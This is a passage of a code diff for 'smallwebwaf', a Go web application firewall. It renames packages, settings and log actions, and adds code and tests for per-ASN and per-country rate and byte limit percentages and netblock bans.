"the IPv6 netblock SWWAF_IPV6_GROUP_PREFIX sets",
|
||||
map[string]string{ipv6GroupPrefix: "48"}, "2001:db8:7::1",
|
||||
[]string{"2001:db8:7:ffff::1"}, []string{"2001:db8:8::1"},
|
||||
},
|
||||
@@ -192,10 +190,10 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
|
||||
s, _, _ := startWithClock(t, "", env)
|
||||
|
||||
s.get(tc.breaker, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(tc.breaker, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
s.get(tc.breaker, http.StatusForbidden, requestlog.ActionRateLimited)
|
||||
|
||||
for _, sent := range tc.refused {
|
||||
s.get(sent, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
s.get(sent, http.StatusForbidden, requestlog.ActionBanned)
|
||||
}
|
||||
|
||||
for _, sent := range tc.let {
|
||||
@@ -213,14 +211,14 @@ func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) {
|
||||
lookupTimeout: "1h",
|
||||
rateLimitPerMinute: "1",
|
||||
banScopeV4Prefix: "24",
|
||||
tagDeny: denyKP,
|
||||
deniedCountries: "kp",
|
||||
})
|
||||
|
||||
// fromDE's ban covers otherClient, which is refused unasked about.
|
||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited)
|
||||
|
||||
line := s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
line := s.get(otherClient, http.StatusForbidden, requestlog.ActionBanned)
|
||||
if line.Country != "" {
|
||||
t.Errorf("log line has country %q, want none", line.Country)
|
||||
}
|
||||
@@ -230,29 +228,13 @@ func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestRefusalUnderABanNamesItsHeuristicNetblockAndEnd(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, _ := startWithClock(t, "", map[string]string{
|
||||
rateLimitPerMinute: "1", banScopeV4Prefix: "24",
|
||||
})
|
||||
expires := requestlog.FormatTime(clk.Now().Add(time.Hour))
|
||||
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
|
||||
line := s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
wantHeuristic(t, line, "active_ban",
|
||||
`{"netblock": "`+clientsNet+`", "ban_expires": "`+expires+`"}`)
|
||||
}
|
||||
|
||||
func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const denied = "192.0.2.50" // in SWW_DENY_NETS
|
||||
const denied = "192.0.2.50" // in SWWAF_DENY_NETS
|
||||
|
||||
for _, tc := range []struct {
|
||||
setting string // "" leaves SWW_BAN_RESPONSE at its default
|
||||
setting string // "" leaves SWWAF_BAN_RESPONSE at its default
|
||||
status int // 0 is the connection closed without an answer
|
||||
}{
|
||||
{"", http.StatusForbidden},
|
||||
@@ -268,7 +250,7 @@ func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) {
|
||||
lookupTimeout: "1h",
|
||||
rateLimitPerMinute: "1",
|
||||
denyNets: denied,
|
||||
tagDeny: denyKP,
|
||||
deniedCountries: "kp",
|
||||
}
|
||||
|
||||
if tc.setting != "" {
|
||||
@@ -277,11 +259,11 @@ func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) {
|
||||
|
||||
s, _, _ := startWithClock(t, geojsURL, env)
|
||||
|
||||
s.get(denied, tc.status, requestlog.ActionClientDenied)
|
||||
s.get(fromKP, tc.status, requestlog.ActionClientDenied)
|
||||
s.get(denied, tc.status, requestlog.ActionDenied)
|
||||
s.get(fromKP, tc.status, requestlog.ActionCountryDenied)
|
||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(fromDE, tc.status, requestlog.ActionClientIsRateLimited)
|
||||
s.get(fromDE, tc.status, requestlog.ActionTemporarilyBanned)
|
||||
s.get(fromDE, tc.status, requestlog.ActionRateLimited)
|
||||
s.get(fromDE, tc.status, requestlog.ActionBanned)
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -293,15 +275,15 @@ func TestBanNotes(t *testing.T) {
|
||||
s, clk, server := startWithClock(t, geojsURL, map[string]string{
|
||||
lookupTimeout: "1h",
|
||||
rateLimitPerMinute: "1",
|
||||
tagDeny: denyKP,
|
||||
deniedCountries: "kp",
|
||||
})
|
||||
start := clk.Now()
|
||||
|
||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||
s.request(fromDE, "/repo/commits?page=2",
|
||||
http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
s.get(fromDE, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
s.get(fromDE, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
http.StatusForbidden, requestlog.ActionRateLimited)
|
||||
s.get(fromDE, http.StatusForbidden, requestlog.ActionBanned)
|
||||
s.get(fromDE, http.StatusForbidden, requestlog.ActionBanned)
|
||||
|
||||
netblock := netip.MustParsePrefix(fromDE + "/32")
|
||||
want := bans.Ban{
|
||||
@@ -344,7 +326,7 @@ func TestBanNotes(t *testing.T) {
|
||||
// The next ban counts this one among the earlier.
|
||||
clk.advance(time.Hour)
|
||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited)
|
||||
|
||||
got = ledger.Bans(netblock)
|
||||
if len(got) != 2 || got[1].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
||||
@@ -362,15 +344,15 @@ func TestMaxBansDropsTheBanOfTheNetblockSeenLongestAgo(t *testing.T) {
|
||||
|
||||
// One ban is held, so otherClient's ban drops client's.
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionRateLimited)
|
||||
s.get(otherClient, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(otherClient, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
s.get(otherClient, http.StatusForbidden, requestlog.ActionRateLimited)
|
||||
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
s.get(otherClient, http.StatusForbidden, requestlog.ActionBanned)
|
||||
}
|
||||
|
||||
// clock is the time a test sets, by which sww counts requests and
|
||||
// clock is the time a test sets, by which smallwebwaf counts requests and
|
||||
// makes bans.
|
||||
type clock struct {
|
||||
mu sync.Mutex
|
||||
@@ -393,14 +375,14 @@ func (c *clock) advance(d time.Duration) {
|
||||
c.now = c.now.Add(d)
|
||||
}
|
||||
|
||||
// startWithClock starts discriminator, and rproxy in front of an app that answers 200,
|
||||
// startWithClock starts servewaf, and rproxy in front of an app that answers 200,
|
||||
// with the settings in env on top of trusting localhost's
|
||||
// X-Forwarded-For, clients' AS numbers and countries looked up at
|
||||
// geojsURL, and a clock set to midnight, the start of a bucket in every
|
||||
// window.
|
||||
func startWithClock(
|
||||
t *testing.T, geojsURL string, env map[string]string,
|
||||
) (*sender, *clock, *discriminator.Server) {
|
||||
) (*sender, *clock, *servewaf.Server) {
|
||||
t.Helper()
|
||||
|
||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
|
||||
@@ -410,18 +392,17 @@ func startWithClock(
|
||||
|
||||
addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now, settings)
|
||||
|
||||
return &sender{t: t, addr: addr, discriminatorAddr: server.Addr, out: out}, clk, server
|
||||
return &sender{t: t, addr: addr, serveWAFAddr: server.Addr, out: out}, clk, server
|
||||
}
|
||||
|
||||
// sender sends requests to rproxy one after another, each on a connection of its
|
||||
// own, and checks each one's answer and log line. discriminatorAddr is where
|
||||
// discriminator's own endpoints are, which ownEndpointRequest asks. Every request
|
||||
// discriminator gets must come through the sender, since the log lines are
|
||||
// matched to them in order.
|
||||
// own, and checks each one's answer and log line. serveWAFAddr is where servewaf's
|
||||
// own endpoints are, which adminRequest asks. Every request servewaf gets must
|
||||
// come through the sender, since the log lines are matched to them in order.
|
||||
type sender struct {
|
||||
t *testing.T
|
||||
addr string
|
||||
discriminatorAddr string
|
||||
serveWAFAddr string
|
||||
out *output
|
||||
sent int
|
||||
}
|
||||
@@ -0,0 +1,119 @@
|
||||
package servewaf
|
||||
|
||||
import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
)
|
||||
|
||||
// whole is the percentage of each limit a client gets when no biased
|
||||
// threshold lowers its limits.
|
||||
const whole = 100
|
||||
|
||||
// percentage is a client's limit percentage for the rate limits or for
|
||||
// the byte limits, as the biased thresholds give it, and the setting that
|
||||
// gave it: "" with whole when none lowers that kind of limit.
|
||||
type percentage struct {
|
||||
percent int64
|
||||
setting string
|
||||
}
|
||||
|
||||
// biasedThresholdsSet reports whether a biased threshold can lower a
|
||||
// client's limits: one of its lists is not empty,
|
||||
// SWWAF_UNKNOWN_LIMIT_PERCENT is below 100, or SWWAF_ASN_LIMIT_PERCENT_URL
|
||||
// is set. The client's lookup is then needed before its request goes on.
|
||||
func biasedThresholdsSet(cfg *config.Config) bool {
|
||||
return len(cfg.ASNLimitPercent) > 0 || len(cfg.CountryLimitPercent) > 0 ||
|
||||
len(cfg.ASNBytesPercent) > 0 || len(cfg.CountryBytesPercent) > 0 ||
|
||||
cfg.UnknownLimitPercent < whole || cfg.ASNLimitPercentURL != ""
|
||||
}
|
||||
|
||||
// limitPercentages returns the client's limit percentages, for the rate
|
||||
// limits and for the byte limits, by its AS number and country as looked
|
||||
// up, each "" when unknown, and the blocklists, DNSBL zones and AbuseIPDB
|
||||
// that list it. Each is the lowest of those the settings give it, the
|
||||
// first of them in the order below when several are lowest: the
|
||||
// percentage SWWAF_ASN_LIMIT_PERCENT gives its AS number, the one the file
|
||||
// SWWAF_ASN_LIMIT_PERCENT_URL names gives it, the one
|
||||
// SWWAF_COUNTRY_LIMIT_PERCENT gives its country, for a client without a
|
||||
// country, unless its request skipped the wait for GeoJS,
|
||||
// SWWAF_UNKNOWN_LIMIT_PERCENT, for a client a blocklist lists, the
|
||||
// percentage of SWWAF_BLOCKLIST_ACTION while it is limit, and for a client
|
||||
// a DNSBL zone's verdict lists, or whose AbuseIPDB score is a hit, the
|
||||
// percentage of SWWAF_REPUTATION_ACTION while it is limit. For the byte
|
||||
// limits, SWWAF_ASN_BYTES_PERCENT and SWWAF_COUNTRY_BYTES_PERCENT take the
|
||||
// place of the first three for an AS number or a country they list.
|
||||
func (rq *request) limitPercentages() (percentage, percentage) {
|
||||
cfg := rq.h.config
|
||||
asn, country := rq.line.ASN, rq.line.Country
|
||||
|
||||
unknown := percentage{percent: whole}
|
||||
if country == "" && !rq.skippedLookupWait {
|
||||
unknown = percentage{cfg.UnknownLimitPercent, "SWWAF_UNKNOWN_LIMIT_PERCENT"}
|
||||
}
|
||||
|
||||
fetched := percentage{percent: whole}
|
||||
if percent, listed := rq.h.lists.ASNLimitPercent(asn); listed {
|
||||
fetched = percentage{percent, "SWWAF_ASN_LIMIT_PERCENT_URL"}
|
||||
}
|
||||
|
||||
blocklisted := percentage{percent: whole}
|
||||
if rq.blocklisted && cfg.BlocklistAction == "limit" {
|
||||
blocklisted = percentage{cfg.BlocklistLimitPercent, "SWWAF_BLOCKLIST_ACTION"}
|
||||
}
|
||||
|
||||
reputationListed := percentage{percent: whole}
|
||||
if (rq.dnsblListed || rq.abuseIPDBHit) && cfg.ReputationAction == "limit" {
|
||||
reputationListed = percentage{cfg.ReputationLimitPercent, "SWWAF_REPUTATION_ACTION"}
|
||||
}
|
||||
|
||||
asnRequests := lowest(given(cfg.ASNLimitPercent, asn, "SWWAF_ASN_LIMIT_PERCENT"),
|
||||
fetched)
|
||||
countryRequests := given(cfg.CountryLimitPercent, country,
|
||||
"SWWAF_COUNTRY_LIMIT_PERCENT")
|
||||
|
||||
asnBytes, countryBytes := asnRequests, countryRequests
|
||||
if _, listed := cfg.ASNBytesPercent[asn]; listed {
|
||||
asnBytes = given(cfg.ASNBytesPercent, asn, "SWWAF_ASN_BYTES_PERCENT")
|
||||
}
|
||||
|
||||
if _, listed := cfg.CountryBytesPercent[country]; listed {
|
||||
countryBytes = given(cfg.CountryBytesPercent, country, "SWWAF_COUNTRY_BYTES_PERCENT")
|
||||
}
|
||||
|
||||
return lowest(asnRequests, countryRequests, unknown, blocklisted, reputationListed),
|
||||
lowest(asnBytes, countryBytes, unknown, blocklisted, reputationListed)
|
||||
}
|
||||
|
||||
// given returns the percentage percents, the setting named setting, gives
|
||||
// code, an AS number or a country, or whole when it does not list code.
|
||||
func given(percents map[string]int64, code, setting string) percentage {
|
||||
percent, listed := percents[code]
|
||||
if !listed {
|
||||
return percentage{percent: whole}
|
||||
}
|
||||
|
||||
return percentage{percent, setting}
|
||||
}
|
||||
|
||||
// lowest returns the lowest of percentages below whole, the first of them
|
||||
// when several are lowest, or whole when none is below it.
|
||||
func lowest(percentages ...percentage) percentage {
|
||||
low := percentage{percent: whole}
|
||||
|
||||
for _, p := range percentages {
|
||||
if p.percent < low.percent {
|
||||
low = p
|
||||
}
|
||||
}
|
||||
|
||||
return low
|
||||
}
|
||||
|
||||
// logged returns p as the log line and the notes of a ban give it: its
|
||||
// percent and setting, or nil and "" for whole, which they leave out.
|
||||
func (p percentage) logged() (*int64, string) {
|
||||
if p.percent == whole {
|
||||
return nil, ""
|
||||
}
|
||||
|
||||
return &p.percent, p.setting
|
||||
}
|
||||
@@ -1,4 +1,4 @@
|
||||
package discriminator_test
|
||||
package servewaf_test
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
@@ -15,17 +15,18 @@ import (
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
"sneak.berlin/go/smallwebwaf/internal/servewaf"
|
||||
)
|
||||
|
||||
// The biased thresholds.
|
||||
const (
|
||||
tagLimitPercent = "SWW_TAG_LIMIT_PERCENT"
|
||||
asnBytesPercent = "SWW_ASN_BYTES_PERCENT"
|
||||
countryBytesPercent = "SWW_COUNTRY_BYTES_PERCENT"
|
||||
unknownLimitPercent = "SWW_UNKNOWN_LIMIT_PERCENT"
|
||||
asnLimitPercent = "SWWAF_ASN_LIMIT_PERCENT"
|
||||
countryLimitPercent = "SWWAF_COUNTRY_LIMIT_PERCENT"
|
||||
asnBytesPercent = "SWWAF_ASN_BYTES_PERCENT"
|
||||
countryBytesPercent = "SWWAF_COUNTRY_BYTES_PERCENT"
|
||||
unknownLimitPercent = "SWWAF_UNKNOWN_LIMIT_PERCENT"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -34,11 +35,6 @@ const (
|
||||
asnDEHalf = asnDE + ":50"
|
||||
asnDEQuarter = asnDE + ":25"
|
||||
countryDEHalf = "de:50"
|
||||
// The same, as SWW_TAG_LIMIT_PERCENT names fromDE's tags.
|
||||
asnTagDEHalf = "asn=64496:50"
|
||||
asnTagDEQuarter = "asn=64496:25"
|
||||
countryTagDEHalf = "country=DE:50"
|
||||
countryTagDEQuarter = "country=DE:25"
|
||||
// noCountry is in an AS of its own, AS64500, and in no country.
|
||||
noCountry = "192.0.2.80"
|
||||
// fourAMinute is the rate limit these tests set: half of it is 2
|
||||
@@ -58,8 +54,8 @@ func TestEachBiasedThresholdLowersTheRateLimits(t *testing.T) {
|
||||
for _, tc := range []struct {
|
||||
setting, value, from string
|
||||
}{
|
||||
{tagLimitPercent, asnTagDEHalf, fromDE},
|
||||
{tagLimitPercent, countryTagDEHalf, fromDE},
|
||||
{asnLimitPercent, asnDEHalf, fromDE},
|
||||
{countryLimitPercent, countryDEHalf, fromDE},
|
||||
{unknownLimitPercent, "50", unplaced},
|
||||
} {
|
||||
t.Run(tc.setting, func(t *testing.T) {
|
||||
@@ -76,19 +72,17 @@ func TestEachBiasedThresholdLowersTheRateLimits(t *testing.T) {
|
||||
}{
|
||||
{http.StatusOK, requestlog.ActionForward},
|
||||
{http.StatusOK, requestlog.ActionForward},
|
||||
{http.StatusForbidden, requestlog.ActionClientIsRateLimited},
|
||||
{http.StatusForbidden, requestlog.ActionRateLimited},
|
||||
} {
|
||||
line := s.get(tc.from, sent.status, sent.action)
|
||||
wantPercent(t, "rate_limit_percent",
|
||||
line.RateLimitPercent, line.RateLimitPercentSetting,
|
||||
wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting,
|
||||
"50 from "+tc.setting)
|
||||
}
|
||||
|
||||
// fromKP, which no setting lists, has the whole limit.
|
||||
for range 3 {
|
||||
line := s.get(fromKP, http.StatusOK, requestlog.ActionForward)
|
||||
wantPercent(t, "rate_limit_percent",
|
||||
line.RateLimitPercent, line.RateLimitPercentSetting,
|
||||
wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting,
|
||||
none)
|
||||
}
|
||||
})
|
||||
@@ -102,8 +96,8 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
|
||||
for _, tc := range []struct {
|
||||
setting, value, from string
|
||||
}{
|
||||
{tagLimitPercent, asnTagDEHalf, fromDE},
|
||||
{tagLimitPercent, "Country=de:50", fromDE},
|
||||
{asnLimitPercent, asnDEHalf, fromDE},
|
||||
{countryLimitPercent, "DE:50", fromDE},
|
||||
{unknownLimitPercent, "50", unplaced},
|
||||
{asnBytesPercent, "as64496:50", fromDE},
|
||||
{countryBytesPercent, countryDEHalf, fromDE},
|
||||
@@ -121,8 +115,7 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
|
||||
t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes)
|
||||
}
|
||||
|
||||
wantPercent(t, "bytes_limit_percent",
|
||||
line.BytesLimitPercent, line.BytesLimitPercentSetting,
|
||||
wantPercent(t, "bytes_percent", line.BytesPercent, line.BytesPercentSetting,
|
||||
"50 from "+tc.setting)
|
||||
|
||||
// fromKP, which no setting lists, has the whole limit.
|
||||
@@ -131,8 +124,7 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
|
||||
t.Errorf("log line for %s has limit_hit %q, want none", fromKP, line.LimitHit)
|
||||
}
|
||||
|
||||
wantPercent(t, "bytes_limit_percent",
|
||||
line.BytesLimitPercent, line.BytesLimitPercentSetting, none)
|
||||
wantPercent(t, "bytes_percent", line.BytesPercent, line.BytesPercentSetting, none)
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -143,9 +135,9 @@ func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(t *testing.T)
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
env map[string]string
|
||||
// rateLimitPercent and bytesLimitPercent are the log line's, as
|
||||
// percentText gives them, and limitHit is its limit_hit.
|
||||
rateLimitPercent, bytesLimitPercent, limitHit string
|
||||
// limitPercent and bytesPercent are the log line's, as percentText
|
||||
// gives them, and limitHit is its limit_hit.
|
||||
limitPercent, bytesPercent, limitHit string
|
||||
}{
|
||||
{
|
||||
"lowering the byte limits alone",
|
||||
@@ -159,13 +151,13 @@ func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(t *testing.T)
|
||||
},
|
||||
{
|
||||
"raising the byte limits back",
|
||||
map[string]string{tagLimitPercent: asnTagDEHalf, asnBytesPercent: asnDE + ":100"},
|
||||
"50 from " + tagLimitPercent, none, "",
|
||||
map[string]string{asnLimitPercent: asnDEHalf, asnBytesPercent: asnDE + ":100"},
|
||||
"50 from " + asnLimitPercent, none, "",
|
||||
},
|
||||
{
|
||||
"raising the byte limits back, by country",
|
||||
map[string]string{tagLimitPercent: countryTagDEHalf, countryBytesPercent: "de:100"},
|
||||
"50 from " + tagLimitPercent, none, "",
|
||||
map[string]string{countryLimitPercent: countryDEHalf, countryBytesPercent: "de:100"},
|
||||
"50 from " + countryLimitPercent, none, "",
|
||||
},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
@@ -181,12 +173,10 @@ func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(t *testing.T)
|
||||
t.Errorf("log line has limit_hit %q, want %q", line.LimitHit, tc.limitHit)
|
||||
}
|
||||
|
||||
wantPercent(t, "rate_limit_percent",
|
||||
line.RateLimitPercent, line.RateLimitPercentSetting,
|
||||
tc.rateLimitPercent)
|
||||
wantPercent(t, "bytes_limit_percent",
|
||||
line.BytesLimitPercent, line.BytesLimitPercentSetting,
|
||||
tc.bytesLimitPercent)
|
||||
wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting,
|
||||
tc.limitPercent)
|
||||
wantPercent(t, "bytes_percent", line.BytesPercent, line.BytesPercentSetting,
|
||||
tc.bytesPercent)
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -194,19 +184,19 @@ func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(t *testing.T)
|
||||
func TestZeroPercentIsAZeroAllowance(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithLookups(t, map[string]string{unknownLimitPercent: "0"})
|
||||
s, _, _ := startWithLookups(t, map[string]string{asnLimitPercent: asnDE + ":0"})
|
||||
|
||||
// The first request breaks the limit, and bans the client; the log line
|
||||
// gives the 0.
|
||||
line := s.get(unplaced, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
if line.fields["rate_limit_percent"] != float64(0) ||
|
||||
line.fields["rate_limit_percent_setting"] != unknownLimitPercent {
|
||||
t.Errorf("log line has rate_limit_percent %v from %v, want 0 from %s",
|
||||
line.fields["rate_limit_percent"], line.fields["rate_limit_percent_setting"],
|
||||
unknownLimitPercent)
|
||||
line := s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited)
|
||||
if line.fields["limit_percent"] != float64(0) ||
|
||||
line.fields["limit_percent_setting"] != asnLimitPercent {
|
||||
t.Errorf("log line has limit_percent %v from %v, want 0 from %s",
|
||||
line.fields["limit_percent"], line.fields["limit_percent_setting"],
|
||||
asnLimitPercent)
|
||||
}
|
||||
|
||||
s.get(unplaced, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
s.get(fromDE, http.StatusForbidden, requestlog.ActionBanned)
|
||||
}
|
||||
|
||||
func TestLowestPercentageApplies(t *testing.T) {
|
||||
@@ -216,34 +206,34 @@ func TestLowestPercentageApplies(t *testing.T) {
|
||||
name string
|
||||
env map[string]string
|
||||
from string
|
||||
// want is the log line's rate_limit_percent, as percentText gives it.
|
||||
// want is the log line's limit_percent, as percentText gives it.
|
||||
want string
|
||||
}{
|
||||
{
|
||||
"the country's",
|
||||
map[string]string{tagLimitPercent: asnTagDEHalf + "," + countryTagDEQuarter},
|
||||
fromDE, "25 from " + tagLimitPercent,
|
||||
map[string]string{asnLimitPercent: asnDEHalf, countryLimitPercent: "de:25"},
|
||||
fromDE, "25 from " + countryLimitPercent,
|
||||
},
|
||||
{
|
||||
"the AS number's",
|
||||
map[string]string{tagLimitPercent: asnTagDEQuarter + "," + countryTagDEHalf},
|
||||
fromDE, "25 from " + tagLimitPercent,
|
||||
map[string]string{asnLimitPercent: asnDEQuarter, countryLimitPercent: countryDEHalf},
|
||||
fromDE, "25 from " + asnLimitPercent,
|
||||
},
|
||||
{
|
||||
"the AS number's, the first of two alike",
|
||||
map[string]string{tagLimitPercent: asnTagDEQuarter + "," + countryTagDEQuarter},
|
||||
fromDE, "25 from " + tagLimitPercent,
|
||||
map[string]string{asnLimitPercent: asnDEQuarter, countryLimitPercent: "de:25"},
|
||||
fromDE, "25 from " + asnLimitPercent,
|
||||
},
|
||||
{
|
||||
"that for a client without a country",
|
||||
map[string]string{tagLimitPercent: "asn=64500:50", unknownLimitPercent: "25"},
|
||||
map[string]string{asnLimitPercent: "AS64500:50", unknownLimitPercent: "25"},
|
||||
noCountry, "25 from " + unknownLimitPercent,
|
||||
},
|
||||
{
|
||||
// SWW_UNKNOWN_LIMIT_PERCENT is left at its default, 100.
|
||||
// SWWAF_UNKNOWN_LIMIT_PERCENT is left at its default, 100.
|
||||
"the AS number's, for a client without a country",
|
||||
map[string]string{tagLimitPercent: "asn=64500:25"},
|
||||
noCountry, "25 from " + tagLimitPercent,
|
||||
map[string]string{asnLimitPercent: "AS64500:25"},
|
||||
noCountry, "25 from " + asnLimitPercent,
|
||||
},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
@@ -256,9 +246,8 @@ func TestLowestPercentageApplies(t *testing.T) {
|
||||
// A quarter of 4 requests a minute: the second breaks the limit.
|
||||
s.get(tc.from, http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
line := s.get(tc.from, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
wantPercent(t, "rate_limit_percent",
|
||||
line.RateLimitPercent, line.RateLimitPercentSetting,
|
||||
line := s.get(tc.from, http.StatusForbidden, requestlog.ActionRateLimited)
|
||||
wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting,
|
||||
tc.want)
|
||||
})
|
||||
}
|
||||
@@ -276,7 +265,7 @@ func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(t *test
|
||||
for _, from := range []string{unplaced, "10.0.0.8"} {
|
||||
s.get(from, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(from, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(from, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
s.get(from, http.StatusForbidden, requestlog.ActionRateLimited)
|
||||
}
|
||||
|
||||
// One in a country has the whole limit.
|
||||
@@ -291,7 +280,7 @@ func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) {
|
||||
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
||||
// says, with a GeoJS that never answers.
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
server, out, _ := newDiscriminator(t, silentGeoJSURL, time.Now,
|
||||
server, out, _ := newServeWAF(t, unansweredGeoJSURL, time.Now,
|
||||
map[string]string{unknownLimitPercent: "0"})
|
||||
|
||||
// Once the time the request waits for its answer is up, the client
|
||||
@@ -300,9 +289,8 @@ func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) {
|
||||
serveFromDE(t, server, http.MethodGet, http.NoBody)
|
||||
|
||||
line := out.requestLine(t)
|
||||
wantLine(t, line, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
wantPercent(t, "rate_limit_percent",
|
||||
line.RateLimitPercent, line.RateLimitPercentSetting,
|
||||
wantLine(t, line, http.StatusForbidden, requestlog.ActionRateLimited)
|
||||
wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting,
|
||||
"0 from "+unknownLimitPercent)
|
||||
})
|
||||
}
|
||||
@@ -316,12 +304,8 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
|
||||
setting, value string
|
||||
waits bool
|
||||
}{
|
||||
{tagLimitPercent, asnTagDEHalf, true},
|
||||
{tagLimitPercent, countryTagDEHalf, true},
|
||||
{tagDeny, denyKP, true},
|
||||
// A tag the lookup does not give needs no answer.
|
||||
{tagLimitPercent, "vpn:50", false},
|
||||
{tagDeny, "vpn", false},
|
||||
{asnLimitPercent, asnDEHalf, true},
|
||||
{countryLimitPercent, countryDEHalf, true},
|
||||
{asnBytesPercent, asnDEHalf, true},
|
||||
{countryBytesPercent, countryDEHalf, true},
|
||||
{unknownLimitPercent, "99", true},
|
||||
@@ -335,10 +319,8 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
|
||||
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
||||
// says, with a GeoJS that never answers.
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
server, out, _ := newDiscriminator(t, silentGeoJSURL, time.Now,
|
||||
map[string]string{
|
||||
lookupTimeout: timeout.String(), tagLists: "vpn=" + vpnList, tc.setting: tc.value,
|
||||
})
|
||||
server, out, _ := newServeWAF(t, unansweredGeoJSURL, time.Now,
|
||||
map[string]string{lookupTimeout: timeout.String(), tc.setting: tc.value})
|
||||
began := time.Now()
|
||||
|
||||
serveFromDE(t, server, http.MethodPost, strings.NewReader("ab"))
|
||||
@@ -381,15 +363,15 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(t *testing.T
|
||||
{
|
||||
// A quarter of 12 requests a minute is 3: the fourth breaks it.
|
||||
"a rate limit",
|
||||
map[string]string{rateLimitPerMinute: "12", tagLimitPercent: asnTagDEQuarter},
|
||||
3, http.StatusForbidden, requestlog.ActionClientIsRateLimited,
|
||||
"requests per minute over the limit of 3", "25 from " + tagLimitPercent,
|
||||
map[string]string{rateLimitPerMinute: "12", asnLimitPercent: asnDEQuarter},
|
||||
3, http.StatusForbidden, requestlog.ActionRateLimited,
|
||||
"requests per minute over the limit of 3", "25 from " + asnLimitPercent,
|
||||
},
|
||||
{
|
||||
// The byte limits' percentage, not the rate limits'.
|
||||
"a byte limit",
|
